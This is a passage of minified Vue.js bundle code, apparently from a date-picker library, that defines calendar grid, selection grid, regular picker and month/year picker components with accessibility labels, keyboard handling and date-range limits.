0:l.calendarWrap},[(0,r.Lk)(\"div\",Ci,[t.weekNumbers?((0,r.uX)(),(0,r.CE)(\"div\",xi,(0,o.v_)(t.weekNumName),1)):(0,r.Q3)(\"\",!0),((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(y),(e,n)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__calendar_header_item\",role:\"gridcell\",key:n,\"data-test\":\"calendar-header\"},[t.$slots[\"calendar-header\"]?(0,r.RG)(t.$slots,\"calendar-header\",{key:0,day:e,index:n}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-header\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e),1)],64))]))),128))]),Si,(0,r.bF)(i.eB,{name:m.value,css:!!t.transitions},{default:(0,r.k6)(()=>{var l;return[v.value?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:\"dp__calendar\",role:\"grid\",\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.calendarDays},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(e.mappedDates,(l,s)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__calendar_row\",role:\"row\",key:s},[t.weekNumbers?((0,r.uX)(),(0,r.CE)(\"div\",Ti,[(0,r.Lk)(\"div\",Ri,(0,o.v_)(e.getWeekNum(l.days)),1)])):(0,r.Q3)(\"\",!0),((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(l.days,(e,l)=>{var u,c,p;return(0,r.uX)(),(0,r.CE)(\"div\",{role:\"gridcell\",class:\"dp__calendar_item\",ref_for:!0,ref:e=>D(e,s,l),key:l+s,\"aria-selected\":e.classData.dp__active_date||e.classData.dp__range_start||e.classData.dp__range_start,\"aria-disabled\":e.classData.dp__cell_disabled,\"aria-label\":null==(c=null==(u=(0,a.R1)(d).ariaLabels)?void 0:u.day)?void 0:c.call(u,e),tabindex:\"0\",\"data-test\":e.value,onClick:(0,i.D$)(n=>t.$emit(\"select-date\",e),[\"stop\",\"prevent\"]),onKeydown:[(0,i.jR)(n=>t.$emit(\"select-date\",e),[\"enter\"]),(0,i.jR)(n=>t.$emit(\"handle-space\",e),[\"space\"])],onMouseenter:t=>E(e,s,l),onMouseleave:t=>T(e)},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__cell_inner\",e.classData])},[t.$slots.day&&(0,a.R1)(x)(e)?(0,r.RG)(t.$slots,\"day\",{key:0,day:+e.text,date:e.value}):(0,r.Q3)(\"\",!0),t.$slots.day?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.text),1)],64)),e.marker&&(0,a.R1)(x)(e)?((0,r.uX)(),(0,r.CE)(\"div\",{key:2,class:(0,o.C4)((0,a.R1)(_)(e.marker)),style:(0,o.Tr)(e.marker.color?{backgroundColor:e.marker.color}:{})},null,6)):(0,r.Q3)(\"\",!0),(0,a.R1)(k)(e.value)?((0,r.uX)(),(0,r.CE)(\"div\",{key:3,class:\"dp__marker_tooltip\",style:(0,o.Tr)(f.value)},[null!=(p=e.marker)&&p.tooltip?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:\"dp__tooltip_content\",onClick:n[0]||(n[0]=(0,i.D$)(()=>{},[\"stop\"]))},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(e.marker.tooltip,(n,a)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:a,class:\"dp__tooltip_text\"},[t.$slots[\"marker-tooltip\"]?(0,r.RG)(t.$slots,\"marker-tooltip\",{key:0,tooltip:n,day:e.value}):(0,r.Q3)(\"\",!0),t.$slots[\"marker-tooltip\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.Lk)(\"div\",{class:\"dp__tooltip_mark\",style:(0,o.Tr)(n.color?{backgroundColor:n.color}:{})},null,4),(0,r.Lk)(\"div\",null,(0,o.v_)(n.text),1)],64))]))),128)),Mi])):(0,r.Q3)(\"\",!0)],4)):(0,r.Q3)(\"\",!0)],2)],40,Oi)}),128))]))),128))],8,Ei)):(0,r.Q3)(\"\",!0)]}),_:3},8,[\"name\",\"css\"])],10,ki))],4)],2)}}}),Di=[\"aria-label\",\"aria-disabled\"],Bi=(0,r.pM)({__name:\"ActionIcon\",props:{ariaLabel:{type:String,default:\"\"},disabled:{type:Boolean,default:!1}},emits:[\"activate\",\"set-ref\"],setup(e,{emit:t}){const n=(0,a.KR)(null);return(0,r.sV)(()=>t(\"set-ref\",n)),(t,a)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__month_year_col_nav\",onClick:a[0]||(a[0]=e=>t.$emit(\"activate\")),onKeydown:[a[1]||(a[1]=(0,i.jR)(e=>t.$emit(\"activate\"),[\"enter\"])),a[2]||(a[2]=(0,i.jR)(e=>t.$emit(\"activate\"),[\"space\"]))],tabindex:\"0\",role:\"button\",\"aria-label\":e.ariaLabel,\"aria-disabled\":e.disabled,ref_key:\"elRef\",ref:n},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__inner_nav\",{dp__inner_nav_disabled:e.disabled}])},[(0,r.RG)(t.$slots,\"default\")],2)],40,Di))}}),Wi=[\"onKeydown\"],Pi={class:\"dp__selection_grid_header\"},Ii=[\"aria-selected\",\"aria-disabled\",\"data-test\",\"onClick\",\"onKeydown\",\"onMouseover\"],Ni=[\"aria-label\",\"onKeydown\"],Li=(0,r.pM)({__name:\"SelectionGrid\",props:{items:{type:Array,default:()=>[]},modelValue:{type:[String,Number],default:null},multiModelValue:{type:Array,default:()=>[]},disabledValues:{type:Array,default:()=>[]},minValue:{type:[Number,String],default:null},maxValue:{type:[Number,String],default:null},year:{type:Number,default:0},skipActive:{type:Boolean,default:!1},headerRefs:{type:Array,default:()=>[]},skipButtonRef:{type:Boolean,default:!1},monthPicker:{type:Boolean,default:!1},yearPicker:{type:Boolean,default:!1},escClose:{type:Boolean,default:!0},type:{type:String,default:null},arrowNavigation:{type:Boolean,default:!1},autoApply:{type:Boolean,default:!1},textInput:{type:Boolean,default:!1},ariaLabels:{type:Object,default:()=>({})},hideNavigation:{type:Array,default:()=>[]}},emits:[\"update:model-value\",\"selected\",\"toggle\",\"reset-flow\"],setup(e,{expose:t,emit:n}){const l=e,{setSelectionGrid:s,buildMultiLevelMatrix:u,setMonthPicker:d}=Zo(),{hideNavigationButtons:c}=Uo(l),f=(0,a.KR)(!1),p=(0,a.KR)(null),h=(0,a.KR)(null),v=(0,a.KR)([]),m=(0,a.KR)(),g=(0,a.KR)(null),y=(0,a.KR)(0),b=(0,a.KR)(null);(0,r.Ic)(()=>{p.value=null}),(0,r.sV)(()=>{(0,r.dY)().then(()=>R()),w(),$(!0)}),(0,r.hi)(()=>$(!1));const $=e=>{var t;l.arrowNavigation&&(null!=(t=l.headerRefs)&&t.length?d(e):s(e))},w=()=>{const e=Oo(h);e&&(l.textInput||e.focus({preventScroll:!0}),f.value=e.clientHeight\u003Ce.scrollHeight)},_=(0,r.EW)(()=>({dp__overlay:!0})),k=(0,r.EW)(()=>({dp__overlay_col:!0})),C=e=>!l.skipActive&&e.value===l.modelValue,x=(0,r.EW)(()=>l.items.map(e=>e.filter(e=>e).map(e=>{var t,n,r;const a=l.disabledValues.some(t=>t===e.value)||T(e.value),o=null!=(t=l.multiModelValue)&&t.length?null==(n=l.multiModelValue)?void 0:n.some(t=>ka(t,rr(l.monthPicker?nr(new Date,e.value):new Date,l.monthPicker?l.year:e.value))):C(e);return{...e,className:{dp__overlay_cell_active:o,dp__overlay_cell:!o,dp__overlay_cell_disabled:a,dp__overlay_cell_active_disabled:a&&o,dp__overlay_cell_pad:!0,dp__cell_in_between:!(null==(r=l.multiModelValue)||!r.length)&&M(e.value)}}}))),S=(0,r.EW)(()=>({dp__button:!0,dp__overlay_action:!0,dp__over_action_scroll:f.value,dp__button_bottom:l.autoApply})),E=(0,r.EW)(()=>{var e,t;return{dp__overlay_container:!0,dp__container_flex:(null==(e=l.items)?void 0:e.length)\u003C=6,dp__container_block:(null==(t=l.items)?void 0:t.length)>6}}),T=e=>{const t=l.maxValue||0===l.maxValue,n=l.minValue||0===l.minValue;return!(!t&&!n)&&(t&&n?+e>+l.maxValue||+e\u003C+l.minValue:t?+e>+l.maxValue:!!n&&+e\u003C+l.minValue)},R=()=>{const e=Oo(p),t=Oo(h),n=Oo(g),r=Oo(b),a=n?n.getBoundingClientRect().height:0;t&&(y.value=t.getBoundingClientRect().height-a),e&&r&&(r.scrollTop=e.offsetTop-r.offsetTop-(y.value\u002F2-e.getBoundingClientRect().height)-a)},O=e=>{!l.disabledValues.some(t=>t===e)&&!T(e)&&(n(\"update:model-value\",e),n(\"selected\"))},M=e=>{const t=l.monthPicker?l.year:e;return xa(l.multiModelValue,rr(l.monthPicker?nr(new Date,m.value||0):new Date,l.monthPicker?t:m.value||t),rr(l.monthPicker?nr(new Date,e):new Date,t))},A=()=>{n(\"toggle\"),n(\"reset-flow\")},D=()=>{l.escClose&&A()},B=(e,t,n,r)=>{e&&(t.value===+l.modelValue&&!l.disabledValues.includes(t.value)&&(p.value=e),l.arrowNavigation&&(Array.isArray(v.value[n])?v.value[n][r]=e:v.value[n]=[e],W()))},W=()=>{var e,t;const n=null!=(e=l.headerRefs)&&e.length?[l.headerRefs].concat(v.value):v.value.concat([l.skipButtonRef?[]:[g.value]]);u(Bo(n),null!=(t=l.headerRefs)&&t.length?\"monthPicker\":\"selectionGrid\")};return t({focusGrid:w}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",{ref_key:\"gridWrapRef\",ref:h,class:(0,o.C4)((0,a.R1)(_)),role:\"dialog\",tabindex:\"0\",onKeydown:(0,i.jR)(D,[\"esc\"])},[(0,r.Lk)(\"div\",{class:(0,o.C4)((0,a.R1)(E)),ref_key:\"containerRef\",ref:b,role:\"grid\",style:(0,o.Tr)({height:`${y.value}px`})},[(0,r.Lk)(\"div\",Pi,[(0,r.RG)(t.$slots,\"header\")]),t.$slots.overlay?(0,r.RG)(t.$slots,\"overlay\",{key:0}):((0,r.uX)(!0),(0,r.CE)(r.FK,{key:1},(0,r.pI)((0,a.R1)(x),(n,l)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__overlay_row\",key:l,role:\"row\"},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(n,(n,s)=>((0,r.uX)(),(0,r.CE)(\"div\",{role:\"gridcell\",class:(0,o.C4)((0,a.R1)(k)),key:n.value,\"aria-selected\":n.value===e.modelValue&&!e.disabledValues.includes(n.value),\"aria-disabled\":n.className.dp__overlay_cell_disabled,ref_for:!0,ref:e=>B(e,n,l,s),tabindex:\"0\",\"data-test\":n.text,onClick:e=>O(n.value),onKeydown:[(0,i.jR)(e=>O(n.value),[\"enter\"]),(0,i.jR)(e=>O(n.value),[\"space\"])],onMouseover:e=>m.value=n.value},[(0,r.Lk)(\"div\",{class:(0,o.C4)(n.className)},[t.$slots.item?(0,r.RG)(t.$slots,\"item\",{key:0,item:n}):(0,r.Q3)(\"\",!0),t.$slots.item?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(n.text),1)],64))],2)],42,Ii))),128))]))),128))],6),t.$slots[\"button-icon\"]?(0,r.bo)(((0,r.uX)(),(0,r.CE)(\"div\",{key:0,role:\"button\",\"aria-label\":null==(l=e.ariaLabels)?void 0:l.toggleOverlay,class:(0,o.C4)((0,a.R1)(S)),tabindex:\"0\",ref_key:\"toggleButton\",ref:g,onClick:A,onKeydown:(0,i.jR)(A,[\"enter\"])},[(0,r.RG)(t.$slots,\"button-icon\")],42,Ni)),[[i.aG,!(0,a.R1)(c)(e.type)]]):(0,r.Q3)(\"\",!0)],42,Wi)}}}),ji=[\"aria-label\"],Fi=(0,r.pM)({__name:\"RegularPicker\",props:{ariaLabel:{type:String,default:\"\"},showSelectionGrid:{type:Boolean,default:!1},modelValue:{type:Number,default:null},items:{type:Array,default:()=>[]},disabledValues:{type:Array,default:()=>[]},minValue:{type:Number,default:null},maxValue:{type:Number,default:null},slotName:{type:String,default:\"\"},overlaySlot:{type:String,default:\"\"},headerRefs:{type:Array,default:()=>[]},escClose:{type:Boolean,default:!0},type:{type:String,default:null},transitions:{type:[Object,Boolean],default:!1},arrowNavigation:{type:Boolean,default:!1},autoApply:{type:Boolean,default:!1},textInput:{type:Boolean,default:!1},ariaLabels:{type:Object,default:()=>({})},hideNavigation:{type:Array,default:()=>[]}},emits:[\"update:model-value\",\"toggle\",\"set-ref\"],setup(e,{emit:t}){const n=e,{transitionName:o,showTransition:l}=ci(n.transitions),s=(0,a.KR)(null);return(0,r.sV)(()=>t(\"set-ref\",s)),(t,n)=>((0,r.uX)(),(0,r.CE)(r.FK,null,[(0,r.Lk)(\"div\",{class:\"dp__month_year_select\",onClick:n[0]||(n[0]=e=>t.$emit(\"toggle\")),onKeydown:[n[1]||(n[1]=(0,i.jR)(e=>t.$emit(\"toggle\"),[\"enter\"])),n[2]||(n[2]=(0,i.jR)(e=>t.$emit(\"toggle\"),[\"space\"]))],role:\"button\",\"aria-label\":e.ariaLabel,tabindex:\"0\",ref_key:\"elRef\",ref:s},[(0,r.RG)(t.$slots,\"default\")],40,ji),(0,r.bF)(i.eB,{name:(0,a.R1)(o)(e.showSelectionGrid),css:(0,a.R1)(l)},{default:(0,r.k6)(()=>[e.showSelectionGrid?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:0},{modelValue:e.modelValue,items:e.items,disabledValues:e.disabledValues,minValue:e.minValue,maxValue:e.maxValue,escClose:e.escClose,type:e.type,arrowNavigation:e.arrowNavigation,textInput:e.textInput,autoApply:e.autoApply,ariaLabels:e.ariaLabels,hideNavigation:e.hideNavigation},{\"header-refs\":[],\"onUpdate:modelValue\":n[3]||(n[3]=e=>t.$emit(\"update:model-value\",e)),onToggle:n[4]||(n[4]=e=>t.$emit(\"toggle\"))}),(0,r.eX)({\"button-icon\":(0,r.k6)(()=>[t.$slots[\"calendar-icon\"]?(0,r.RG)(t.$slots,\"calendar-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:1}))]),_:2},[t.$slots[e.slotName]?{name:\"item\",fn:(0,r.k6)(({item:n})=>[(0,r.RG)(t.$slots,e.slotName,{item:n})]),key:\"0\"}:void 0,t.$slots[e.overlaySlot]?{name:\"overlay\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,e.overlaySlot)]),key:\"1\"}:void 0,t.$slots[`${e.overlaySlot}-header`]?{name:\"header\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,`${e.overlaySlot}-header`)]),key:\"2\"}:void 0]),1040)):(0,r.Q3)(\"\",!0)]),_:3},8,[\"name\",\"css\"])],64))}}),Vi={class:\"dp__month_year_row\"},Ui={class:\"dp__month_year_wrap\"},Xi={class:\"dp__month_picker_header\"},Hi=[\"aria-label\"],Gi=[\"aria-label\"],Yi=[\"aria-label\"],zi=(0,r.pM)({__name:\"MonthYearPicker\",props:{month:{type:Number,default:0},year:{type:Number,default:0},instance:{type:Number,default:0},years:{type:Array,default:()=>[]},months:{type:Array,default:()=>[]},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"update-month-year\",\"month-year-select\",\"mount\",\"reset-flow\",\"overlay-closed\"],setup(e,{expose:t,emit:n}){const l=e,{defaults:s}=Uo(l),{transitionName:u,showTransition:d}=ci(s.value.transitions),{buildMatrix:c}=Zo(),{handleMonthYearChange:f,isDisabled:p,updateMonthYear:h}=ai(l,n),v=(0,a.KR)(!1),m=(0,a.KR)(!1),g=(0,a.KR)([null,null,null,null]),y=(0,a.KR)(null),b=(0,a.KR)(null),$=(0,a.KR)(null);(0,r.sV)(()=>{n(\"mount\")});const w=e=>({get:()=>l[e],set:t=>{const r=\"month\"===e?\"year\":\"month\";n(\"update-month-year\",{[e]:t,[r]:l[r]}),n(\"month-year-select\",\"year\"===e),\"month\"===e?j(!0):F(!0)}}),_=(0,r.EW)(w(\"month\")),k=(0,r.EW)(w(\"year\")),C=e=>{const t=Rn(ya(e));return l.year===t},x=(0,r.EW)(()=>l.monthPicker&&Array.isArray(l.disabledDates)?l.disabledDates.map(e=>ya(e)).filter(e=>C(e)).map(e=>En(e)):[]),S=(0,r.EW)(()=>e=>{const t=\"month\"===e;return{showSelectionGrid:(t?v:m).value,items:(t?P:I).value,disabledValues:s.value.filters[t?\"months\":\"years\"].concat(x.value),minValue:(t?O:T).value,maxValue:(t?M:R).value,headerRefs:t&&l.monthPicker?[y.value,b.value,$.value]:[],escClose:l.escClose,transitions:s.value.transitions,ariaLabels:s.value.ariaLabels,textInput:l.textInput,autoApply:l.autoApply,arrowNavigation:l.arrowNavigation,hideNavigation:l.hideNavigation}}),E=(0,r.EW)(()=>e=>({month:l.month,year:l.year,items:\"month\"===e?l.months:l.years,instance:l.instance,updateMonthYear:h,toggle:\"month\"===e?j:F})),T=(0,r.EW)(()=>l.minDate?Rn(ya(l.minDate)):null),R=(0,r.EW)(()=>l.maxDate?Rn(ya(l.maxDate)):null),O=(0,r.EW)(()=>{if(l.minDate&&T.value){if(T.value>l.year)return 12;if(T.value===l.year)return En(ya(l.minDate))}return null}),M=(0,r.EW)(()=>l.maxDate&&R.value?R.value\u003Cl.year?-1:R.value===l.year?En(ya(l.maxDate)):null:null),A=(0,r.EW)(()=>l.range&&l.internalModelValue&&(l.monthPicker||l.yearPicker)?l.internalModelValue:[]),D=e=>e.reverse(),B=(e,t=!1)=>{const n=[],r=e=>t?D(e):e;for(let a=0;a\u003Ce.length;a+=3){const t=[e[a],e[a+1],e[a+2]];n.push(r(t))}return t?n.reverse():n},W=(0,r.EW)(()=>{const e=l.months.find(e=>e.value===l.month);return e||{text:\"\",value:0}}),P=(0,r.EW)(()=>B(l.months)),I=(0,r.EW)(()=>B(l.years,l.reverseYears)),N=(0,r.EW)(()=>!s.value.multiCalendars||(!!l.multiCalendarsSolo||0===l.instance)),L=(0,r.EW)(()=>!s.value.multiCalendars||(!!l.multiCalendarsSolo||l.instance===s.value.multiCalendars-1)),j=(e=!1)=>{V(e),v.value=!v.value,v.value||n(\"overlay-closed\")},F=(e=!1)=>{V(e),m.value=!m.value,m.value||n(\"overlay-closed\")},V=e=>{e||n(\"reset-flow\")},U=(e=!1)=>{p.value(e)||n(\"update-month-year\",{year:e?l.year+1:l.year-1,month:l.month,fromNav:!0})},X=(e,t)=>{l.arrowNavigation&&(g.value[t]=Oo(e),c(g.value,\"monthYear\"))};return t({toggleMonthPicker:j,toggleYearPicker:F}),(t,n)=>{var l,c,v,g,w;return(0,r.uX)(),(0,r.CE)(\"div\",Vi,[t.$slots[\"month-year\"]?(0,r.RG)(t.$slots,\"month-year\",(0,o._B)((0,r.v6)({key:0},{month:e.month,year:e.year,months:e.months,years:e.years,updateMonthYear:(0,a.R1)(h),handleMonthYearChange:(0,a.R1)(f),instance:e.instance}))):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[t.monthPicker||t.yearPicker?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:0},[(0,a.R1)(N)&&!t.vertical?((0,r.uX)(),(0,r.Wv)(Bi,{key:0,\"aria-label\":null==(l=(0,a.R1)(s).ariaLabels)?void 0:l.prevMonth,disabled:(0,a.R1)(p)(!1),onActivate:n[0]||(n[0]=e=>(0,a.R1)(f)(!1)),onSetRef:n[1]||(n[1]=e=>X(e,0))},{default:(0,r.k6)(()=>[t.$slots[\"arrow-left\"]?(0,r.RG)(t.$slots,\"arrow-left\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-left\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Xr),{key:1}))]),_:3},8,[\"aria-label\",\"disabled\"])):(0,r.Q3)(\"\",!0),(0,r.Lk)(\"div\",Ui,[(0,r.bF)(Fi,(0,r.v6)({type:\"month\",\"slot-name\":\"month-overlay-val\",\"overlay-slot\":\"overlay-month\",\"aria-label\":null==(c=(0,a.R1)(s).ariaLabels)?void 0:c.openMonthsOverlay,modelValue:(0,a.R1)(_),\"onUpdate:modelValue\":n[2]||(n[2]=e=>(0,a.i9)(_)?_.value=e:null)},(0,a.R1)(S)(\"month\"),{onToggle:j,onSetRef:n[3]||(n[3]=e=>X(e,1))}),(0,r.eX)({default:(0,r.k6)(()=>[t.$slots.month?(0,r.RG)(t.$slots,\"month\",(0,o._B)((0,r.v6)({key:0},(0,a.R1)(W)))):(0,r.Q3)(\"\",!0),t.$slots.month?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)((0,a.R1)(W).text),1)],64))]),_:2},[t.$slots[\"calendar-icon\"]?{name:\"calendar-icon\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"calendar-icon\")]),key:\"0\"}:void 0,t.$slots[\"month-overlay-value\"]?{name:\"month-overlay-val\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"month-overlay-value\",{text:e.text,value:e.value})]),key:\"1\"}:void 0,t.$slots[\"month-overlay\"]?{name:\"overlay-month\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"month-overlay\",(0,o._B)((0,r.Ng)((0,a.R1)(E)(\"month\"))))]),key:\"2\"}:void 0,t.$slots[\"month-overlay-header\"]?{name:\"overlay-month-header\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"month-overlay-header\",{toggle:j})]),key:\"3\"}:void 0]),1040,[\"aria-label\",\"modelValue\"]),(0,r.bF)(Fi,(0,r.v6)({type:\"year\",\"slot-name\":\"year-overlay-val\",\"overlay-slot\":\"overlay-year\",\"aria-label\":null==(v=(0,a.R1)(s).ariaLabels)?void 0:v.openYearsOverlay,modelValue:(0,a.R1)(k),\"onUpdate:modelValue\":n[4]||(n[4]=e=>(0,a.i9)(k)?k.value=e:null)},(0,a.R1)(S)(\"year\"),{onToggle:F,onSetRef:n[5]||(n[5]=e=>X(e,2))}),(0,r.eX)({default:(0,r.k6)(()=>[t.$slots.year?(0,r.RG)(t.$slots,\"year\",{key:0,year:e.year}):(0,r.Q3)(\"\",!0),t.$slots.year?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.year),1)],64))]),_:2},[t.$slots[\"calendar-icon\"]?{name:\"calendar-icon\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"calendar-icon\")]),key:\"0\"}:void 0,t.$slots[\"year-overlay-value\"]?{name:\"year-overlay-val\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"year-overlay-value\",{text:e.text,value:e.value})]),key:\"1\"}:void 0,t.$slots[\"year-overlay\"]?{name:\"overlay-year\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"year-overlay\",(0,o._B)((0,r.Ng)((0,a.R1)(E)(\"year\"))))]),key:\"2\"}:void 0,t.$slots[\"year-overlay-header\"]?{name:\"overlay-year-header\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"year-overlay-header\",{toggle:F})]),key:\"3\"}:void 0]),1040,[\"aria-label\",\"modelValue\"])]),(0,a.R1)(N)&&t.vertical?((0,r.uX)(),(0,r.Wv)(Bi,{key:1,\"aria-label\":null==(g=(0,a.R1)(s).ariaLabels)?void 0:g.prevMonth,disabled:(0,a.R1)(p)(!1),onActivate:n[6]||(n[6]=e=>(0,a.R1)(f)(!1))},{default:(0,r.k6)(()=>[t.$slots[\"arrow-up\"]?(0,r.RG)(t.$slots,\"arrow-up\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-up\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ua),{key:1}))]),_:3},8,[\"aria-label\",\"disabled\"])):(0,r.Q3)(\"\",!0),(0,a.R1)(L)?((0,r.uX)(),(0,r.Wv)(Bi,{key:2,ref:\"rightIcon\",disabled:(0,a.R1)(p)(!0),\"aria-label\":null==(w=(0,a.R1)(s).ariaLabels)?void 0:w.nextMonth,onActivate:n[7]||(n[7]=e=>(0,a.R1)(f)(!0)),onSetRef:n[8]||(n[8]=e=>X(e,3))},{default:(0,r.k6)(()=>[t.$slots[t.vertical?\"arrow-down\":\"arrow-right\"]?(0,r.RG)(t.$slots,t.vertical?\"arrow-down\":\"arrow-right\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[t.vertical?\"arrow-down\":\"arrow-right\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.vertical?(0,a.R1)(va):(0,a.R1)(qr)),{key:1}))]),_:3},8,[\"disabled\",\"aria-label\"])):(0,r.Q3)(\"\",!0)],64)),t.monthPicker?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:1},(0,a.R1)(S)(\"month\"),{\"skip-active\":t.range,year:e.year,\"multi-model-value\":(0,a.R1)(A),\"month-picker\":\"\",modelValue:(0,a.R1)(_),\"onUpdate:modelValue\":n[17]||(n[17]=e=>(0,a.i9)(_)?_.value=e:null),onToggle:j,onSelected:n[18]||(n[18]=e=>t.$emit(\"overlay-closed\"))}),(0,r.eX)({header:(0,r.k6)(()=>{var l,c,f;return[(0,r.Lk)(\"div\",Xi,[(0,r.Lk)(\"div\",{class:\"dp__month_year_col_nav\",tabindex:\"0\",ref_key:\"mpPrevIconRef\",ref:y,onClick:n[9]||(n[9]=e=>U(!1)),onKeydown:n[10]||(n[10]=(0,i.jR)(e=>U(!1),[\"enter\"]))},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__inner_nav\",{dp__inner_nav_disabled:(0,a.R1)(p)(!1)}]),role:\"button\",\"aria-label\":null==(l=(0,a.R1)(s).ariaLabels)?void 0:l.prevMonth},[t.$slots[\"arrow-left\"]?(0,r.RG)(t.$slots,\"arrow-left\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-left\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Xr),{key:1}))],10,Hi)],544),(0,r.Lk)(\"div\",{class:\"dp__pointer\",role:\"button\",ref_key:\"mpYearButtonRef\",ref:b,\"aria-label\":null==(c=(0,a.R1)(s).ariaLabels)?void 0:c.openYearsOverlay,tabindex:\"0\",onClick:n[11]||(n[11]=()=>F(!1)),onKeydown:n[12]||(n[12]=(0,i.jR)(()=>F(!1),[\"enter\"]))},[t.$slots.year?(0,r.RG)(t.$slots,\"year\",{key:0,year:e.year}):(0,r.Q3)(\"\",!0),t.$slots.year?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.year),1)],64))],40,Gi),(0,r.Lk)(\"div\",{class:\"dp__month_year_col_nav\",tabindex:\"0\",ref_key:\"mpNextIconRef\",ref:$,onClick:n[13]||(n[13]=e=>U(!0)),onKeydown:n[14]||(n[14]=(0,i.jR)(e=>U(!0),[\"enter\"]))},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__inner_nav\",{dp__inner_nav_disabled:(0,a.R1)(p)(!0)}]),role:\"button\",\"aria-label\":null==(f=(0,a.R1)(s).ariaLabels)?void 0:f.nextMonth},[t.$slots[\"arrow-right\"]?(0,r.RG)(t.$slots,\"arrow-right\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-right\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(qr),{key:1}))],10,Yi)],544)]),(0,r.bF)(i.eB,{name:(0,a.R1)(u)(m.value),css:(0,a.R1)(d)},{default:(0,r.k6)(()=>[m.value?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:0},(0,a.R1)(S)(\"year\"),{modelValue:(0,a.R1)(k),\"onUpdate:modelValue\":n[15]||(n[15]=e=>(0,a.i9)(k)?k.value=e:null),onToggle:F,onSelected:n[16]||(n[16]=e=>t.$emit(\"overlay-closed\"))}),(0,r.eX)({\"button-icon\":(0,r.k6)(()=>[t.$slots[\"calendar-icon\"]?(0,r.RG)(t.$slots,\"calendar-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:1}))]),_:2},[t.$slots[\"year-overlay-value\"]?{name:\"item\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"year-overlay-value\",{text:e.text,value:e.value})]),key:\"0\"}:void 0]),1040,[\"modelValue\"])):(0,r.Q3)(\"\",!0)]),_:3},8,[\"name\",\"css\"])]}),_:2},[t.$slots[\"month-overlay-value\"]?{name:\"item\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"month-overlay-value\",{text:e.text,value:e.value})]),key:\"0\"}:void 